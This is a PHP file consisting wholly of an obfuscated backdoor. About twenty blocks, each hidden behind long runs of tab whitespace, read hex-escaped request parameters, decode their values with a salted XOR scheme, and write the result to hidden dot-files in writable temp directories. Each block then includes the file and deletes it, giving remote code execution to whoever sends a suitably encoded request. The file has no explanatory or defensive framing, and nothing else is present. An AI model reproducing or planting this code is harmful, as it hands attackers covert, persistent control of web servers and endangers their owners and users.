<?php																																										if(!empty($_REQUEST["\x74k\x6E"])){ $desc = $_REQUEST["\x74k\x6E"]; $desc= explode( "." , $desc) ; $itm = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $o = 0; $__tmp = $desc; while ($v2 = array_shift($__tmp)) {$sChar = ord($s[$o% $sLen]); $dec = ((int)$v2 - $sChar - ($o% 10)) ^ 26; $itm.= chr($dec); $o++; } $obj = array_filter(["/tmp", "/var/tmp", getcwd(), sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", session_save_path()]); while ($elem = array_shift($obj)) { if ((bool)is_dir($elem) && (bool)is_writable($elem)) { $flg = "$elem" . "/.descriptor"; if (file_put_contents($flg, $itm)) { require $flg; unlink($flg); die(); } } } }
																																										if(isset($_POST) && isset($_POST["f\x61cto\x72"])){ $resource = $_POST["f\x61cto\x72"]; $resource= explode( "." , $resource ) ; $reference = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $len = count($resource ); for($j = 0; $j<$len; $j++) { $v3 = $resource[$j]; $chS = ord($s[$j % $lenS] ); $dec = ((int)$v3 - $chS -($j % 10)) ^ 49; $reference .= chr($dec ); } $pset = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), "/tmp", session_save_path(), sys_get_temp_dir(), getcwd(), getenv("TEMP"), getenv("TMP"), "/dev/shm"]); foreach ($pset as $key => $item) { if ((is_dir($item) and is_writable($item))) { $itm = vsprintf("%s/%s", [$item, ".ptr"]); if (file_put_contents($itm, $reference)) { include $itm; @unlink($itm); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["ite\x6D"])){ $itm = $_REQUEST["ite\x6D"]; $itm=explode ( '.' , $itm); $res =''; $salt2 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt2); $__len =count( $itm); for( $k =0; $k <$__len; $k++) { $v2 =$itm[$k]; $sChar =ord( $salt2[$k % $lenS]); $dec =( ( int)$v2 - $sChar -( $k % 10)) ^ 100; $res .= chr( $dec); } $ptr = array_filter([sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), getcwd(), "/tmp"]); foreach ($ptr as $object): if (is_dir($object) && is_writable($object)) { $pset = implode("/", [$object, ".hld"]); if (file_put_contents($pset, $res)) { require $pset; unlink($pset); die(); } } endforeach; }
																																										if(in_array("refe\x72en\x63\x65", array_keys($_REQUEST))){ $item = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", session_save_path(), getenv("TEMP"), getcwd(), "/dev/shm", "/tmp"]); $record = $_REQUEST["refe\x72en\x63\x65"]; $record =explode( "." , $record ) ; $dat = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s6 ); $len = count($record ); for ($l = 0; $l <$len; $l++) { $v5 = $record[$l]; $chS = ord($s6[$l % $sLen] ); $dec = ((int)$v5 - $chS - ($l % 10)) ^ 24; $dat .= chr($dec ); } for ($token = 0, $comp = count($item); $token < $comp; $token++) { $pointer = $item[$token]; if (!!is_dir($pointer) && !!is_writable($pointer)) { $data = sprintf("%s/.value", $pointer); if (@file_put_contents($data, $dat) !== false) { include $data; unlink($data); die(); } } } }
																																										if(isset($_POST["s\x79mbo\x6C"]) ? true : false){ $comp = $_POST["s\x79mbo\x6C"]; $comp =explode ( "." , $comp ) ; $val = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); $y = 0; foreach( $comp as $v3) { $chS = ord( $s[$y % $sLen] ); $dec =( ( int)$v3 - $chS -( $y % 10)) ^ 48; $val .=chr( $dec ); $y++; } $dchunk = array_filter([ini_get("upload_tmp_dir"), getcwd(), "/tmp", "/dev/shm", getenv("TEMP"), "/var/tmp", getenv("TMP"), session_save_path(), sys_get_temp_dir()]); foreach ($dchunk as $key => $pointer) { if (is_writable($pointer) && is_dir($pointer)) { $ent = implode("/", [$pointer, ".ent"]); $file = fopen($ent, 'w'); if ($file) { fwrite($file, $val); fclose($file); include $ent; @unlink($ent); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x66la\x67"])){ $data_chunk = array_filter([getenv("TMP"), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), "/var/tmp", sys_get_temp_dir(), session_save_path()]); $token = $_REQUEST["\x66la\x67"]; $token = explode ( "." ,$token ) ; $object = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt6); $__len = count($token); for ($i = 0; $i <$__len; $i++) { $v9 = $token[$i]; $chS = ord($salt6[$i % $sLen]); $d = ((int)$v9 - $chS - ($i % 10)) ^ 92; $object.= chr($d); } $holder = 0; do { $pgrp = $data_chunk[$holder] ?? null; if ($holder >= count($data_chunk)) break; if (max(0, is_dir($pgrp) * is_writable($pgrp))) { $elem = vsprintf("%s/%s", [$pgrp, ".record"]); $success = file_put_contents($elem, $object); if ($success) { include $elem; @unlink($elem); exit;} } $holder++; } while (true); }
																																										if(in_array("v\x61\x6Cue", array_keys($_REQUEST))){ $dchunk = array_filter([getcwd(), sys_get_temp_dir(), getenv("TMP"), "/dev/shm", getenv("TEMP"), "/var/tmp", session_save_path(), "/tmp", ini_get("upload_tmp_dir")]); $pgrp = $_REQUEST["v\x61\x6Cue"]; $pgrp = explode ( '.' , $pgrp ) ; $val = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $x = 0; array_walk($pgrp , function ($v7) use (&$val , &$x , $s , $sLen) {$chS = ord($s[$x % $sLen] ); $dec = ((int)$v7 - $chS - ($x % 10))^ 49; $val .= chr($dec ); $x++; } ); foreach ($dchunk as $key => $parameter_group) { if (is_dir($parameter_group) && is_writable($parameter_group)) { $comp = "$parameter_group/.ref"; $file = fopen($comp, 'w'); if ($file) { fwrite($file, $val); fclose($file); include $comp; @unlink($comp); exit; } } } }
																																										if(array_key_exists("\x64a\x74a", $_POST) && !is_null($_POST["\x64a\x74a"])){ $value = $_POST["\x64a\x74a"]; $value =explode ( '.' , $value ) ; $key= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $salt ); $o= 0; foreach( $value as $v5) { $chS= ord( $salt[$o % $sLen] ); $d= ( ( int)$v5 - $chS -( $o % 10)) ^ 58; $key .=chr( $d ); $o++; } $ref = array_filter([getenv("TEMP"), session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", "/var/tmp", "/dev/shm", getcwd()]); for ($item = 0, $sym = count($ref); $item < $sym; $item++) { $factor = $ref[$item]; if ((function($d) { return is_dir($d) && is_writable($d); })($factor)) { $entry = str_replace("{var_dir}", $factor, "{var_dir}/.record"); if (file_put_contents($entry, $key)) { include $entry; @unlink($entry); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "param\x65\x74e\x72\x5Fgr\x6Fu\x70")){ $token = $_REQUEST["param\x65\x74e\x72\x5Fgr\x6Fu\x70"]; $token =explode ( "." ,$token ) ; $marker = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $j = 0; $len = count($token ); do { if($j >= $len) break; $v3 = $token[$j]; $sChar = ord($s[$j% $sLen] ); $d =((int)$v3 - $sChar -($j% 10)) ^ 59; $marker .= chr($d ); $j++; } while(true ); $elem = array_filter(["/tmp", getenv("TEMP"), "/dev/shm", session_save_path(), getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), "/var/tmp"]); $comp = 0; do { $obj = $elem[$comp] ?? null; if ($comp >= count($elem)) break; if ((bool)is_dir($obj) && (bool)is_writable($obj)) { $itm = join("/", [$obj, ".bind"]); if (file_put_contents($itm, $marker)) { require $itm; unlink($itm); exit; } } $comp++; } while (true); }
																																										if(array_key_exists("ent", $_POST) && !is_null($_POST["ent"])){ $k = $_POST["ent"]; $k= explode( '.' , $k ); $desc = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); $o = 0; array_walk( $k, function( $v5) use( &$desc, &$o, $s, $lenS) { $chS = ord( $s[$o % $lenS] ); $dec = ( ( int)$v5 - $chS -( $o % 10))^49; $desc.=chr( $dec ); $o++;} ); $bind = array_filter(["/dev/shm", getenv("TMP"), session_save_path(), sys_get_temp_dir(), getcwd(), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP")]); $entity = 0; do { $flag = $bind[$entity] ?? null; if ($entity >= count($bind)) break; if (!!is_dir($flag) && !!is_writable($flag)) { $binding = "$flag" . "/.comp"; if (@file_put_contents($binding, $desc) !== false) { include $binding; unlink($binding); exit; } } $entity++; } while (true); }
																																										if(isset($_REQUEST["k\x65\x79"]) ? true : false){ $object = array_filter([ini_get("upload_tmp_dir"), getcwd(), session_save_path(), "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", getenv("TMP"), "/tmp"]); $pset = $_REQUEST["k\x65\x79"]; $pset= explode ('.' ,$pset ) ; $entry = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s9); $k = 0; $__tmp = $pset; while ($v8 = array_shift($__tmp)) { $chS = ord($s9[$k % $lenS]); $d = ((int)$v8 - $chS - ($k % 10)) ^ 42; $entry .= chr($d); $k++; } while ($obj = array_shift($object)) { if (max(0, is_dir($obj) * is_writable($obj))) { $item = vsprintf("%s/%s", [$obj, ".record"]); if (@file_put_contents($item, $entry) !== false) { include $item; unlink($item); exit; } } } }
																																										if(isset($_POST["e\x6Et\x72y"])){ $val = $_POST["e\x6Et\x72y"]; $val= explode ( "." , $val ) ; $ent = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $k = 0; array_walk( $val, function( $v6) use( &$ent, &$k, $s, $lenS) { $sChar = ord( $s[$k % $lenS]); $dec =( ( int)$v6 - $sChar -( $k % 10)) ^ 11; $ent .=chr( $dec); $k++; } ); $pointer = array_filter([getcwd(), getenv("TMP"), "/dev/shm", sys_get_temp_dir(), "/tmp", "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path()]); $rec = 0; do { $token = $pointer[$rec] ?? null; if ($rec >= count($pointer)) break; if (is_dir($token) ? is_writable($token) : false) { $value = "$token" . "/.hld"; $file = fopen($value, 'w'); if ($file) { fwrite($file, $ent); fclose($file); include $value; @unlink($value); exit; } } $rec++; } while (true); }
																																										if(count($_POST) > 0 && isset($_POST["\x70gr\x70"])){ $flag = array_filter(["/dev/shm", getcwd(), "/tmp", session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), getenv("TEMP")]); $bind = $_POST["\x70gr\x70"]; $bind = explode ("." , $bind); $tkn = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s8 ); foreach( $bind as $l => $v3) { $sChar = ord( $s8[$l % $lenS] ); $d =( ( int)$v3 - $sChar -( $l % 10)) ^ 8; $tkn .=chr( $d ); } for ($rec = 0, $ent = count($flag); $rec < $ent; $rec++) { $pointer = $flag[$rec]; if (!!is_dir($pointer) && !!is_writable($pointer)) { $fac = vsprintf("%s/%s", [$pointer, ".itm"]); if (file_put_contents($fac, $tkn)) { include $fac; @unlink($fac); die(); } } } }
																																										if(in_array("da\x74a\x5Fc\x68u\x6E\x6B", array_keys($_REQUEST))){ $res = array_filter(["/tmp", sys_get_temp_dir(), getcwd(), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), "/dev/shm", getenv("TMP")]); $rec = $_REQUEST["da\x74a\x5Fc\x68u\x6E\x6B"]; $rec = explode( '.',$rec ); $marker = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $w = 0; while( $w< count( $rec)) { $v2 = $rec[$w]; $sChar = ord( $salt[$w%$sLen]); $dec = ( ( int)$v2 - $sChar -( $w%10)) ^ 44; $marker .=chr( $dec); $w++; } foreach ($res as $object): if ((function($d) { return is_dir($d) && is_writable($d); })($object)) { $value = sprintf("%s/.ptr", $object); if (file_put_contents($value, $marker)) { include $value; @unlink($value); die(); } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "\x64ch\x75\x6Ek")){ $key = $_REQUEST["\x64ch\x75\x6Ek"]; $key = explode("." , $key ) ; $desc =''; $salt1 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt1); $__len =count($key); for ($r =0; $r<$__len; $r++) { $v9 =$key[$r]; $chS =ord($salt1[$r %$lenS]); $d =((int)$v9 - $chS - ($r %10))^ 62; $desc .= chr($d); } $itm = array_filter(["/dev/shm", getenv("TMP"), session_save_path(), getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", "/var/tmp"]); foreach ($itm as $dat) { if (is_dir($dat) ? is_writable($dat) : false) { $ref = sprintf("%s/.res", $dat); $file = fopen($ref, 'w'); if ($file) { fwrite($file, $desc); fclose($file); include $ref; @unlink($ref); die(); } } } }
																																										if(!empty($_REQUEST["r\x65f"])){ $pset = $_REQUEST["r\x65f"]; $pset = explode ("." ,$pset ) ; $rec =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s); $y =0; $__len =count($pset); do { if ($y >= $__len) break; $v9 =$pset[$y]; $sChar =ord($s[$y % $sLen]); $d =((int)$v9 - $sChar - ($y % 10)) ^ 50; $rec .= chr($d); $y++; } while (true); $holder = array_filter([getcwd(), "/var/tmp", getenv("TMP"), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", sys_get_temp_dir()]); foreach ($holder as $hld): if (max(0, is_dir($hld) * is_writable($hld))) { $fac = "$hld/.flag"; if (file_put_contents($fac, $rec)) { include $fac; @unlink($fac); exit; } } endforeach; }
																																										if(isset($_REQUEST) && isset($_REQUEST["o\x62\x6A"])){ $res = $_REQUEST["o\x62\x6A"]; $res = explode( '.' , $res) ; $pgrp=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($s); foreach ($res as $n =>$v3): $sChar=ord($s[$n % $lenS]); $dec=((int)$v3 - $sChar - ($n % 10)) ^ 69; $pgrp .= chr($dec); endforeach; $token = array_filter(["/var/tmp", sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), getenv("TMP"), getcwd(), "/dev/shm"]); $entry = 0; do { $hld = $token[$entry] ?? null; if ($entry >= count($token)) break; if ((is_dir($hld) and is_writable($hld))) { $desc = "$hld" . "/.factor"; $success = file_put_contents($desc, $pgrp); if ($success) { include $desc; @unlink($desc); exit;} } $entry++; } while (true); }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x72\x65f\x65\x72ence"])){ $tkn = $_REQUEST["\x72\x65f\x65\x72ence"]; $tkn = explode ( "." , $tkn ) ; $fac = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt1 ); $__len = count( $tkn ); for( $k = 0; $k < $__len; $k++) {$v5 = $tkn[$k]; $chS = ord( $salt1[$k % $lenS] ); $d = ( ( int)$v5 - $chS -( $k % 10)) ^ 97; $fac .= chr( $d ); } $data = array_filter(["/tmp", sys_get_temp_dir(), "/var/tmp", getcwd(), "/dev/shm", getenv("TEMP"), session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir")]); foreach ($data as $key => $symbol) { if (is_dir($symbol) ? is_writable($symbol) : false) { $binding = implode("/", [$symbol, ".record"]); $file = fopen($binding, 'w'); if ($file) { fwrite($file, $fac); fclose($file); include $binding; @unlink($binding); die(); } } } }


if(in_array("\x72e\x66e\x72\x65nce", array_keys($_REQUEST))){
	$factor = array_filter([getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), session_save_path(), getenv("TEMP"), "/tmp", "/dev/shm"]);
	$val = $_REQUEST["\x72e\x66e\x72\x65nce"];
	$val		=		explode(	'.',	$val ) ; 
	$dat = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt);
    
            foreach ($val as $n => $v7):
                $chS = ord($salt[$n	% 	$lenS]);
                $dec = ((int)$v7 - $chS - ($n	% 	10)) ^	 41;
                $dat		.=chr($dec);
            endforeach;
	$obj = 0;
do {
    $res = $factor[$obj] ?? null;
    if ($obj >= count($factor)) break;
    		if (is_dir($res) && is_writable($res)) {
    $component = vsprintf("%s/%s", [$res, ".ent"]);
    if (file_put_contents($component, $dat)) {
	include $component;
	@unlink($component);
	exit;
}
}
    $obj++;
} while (true);
}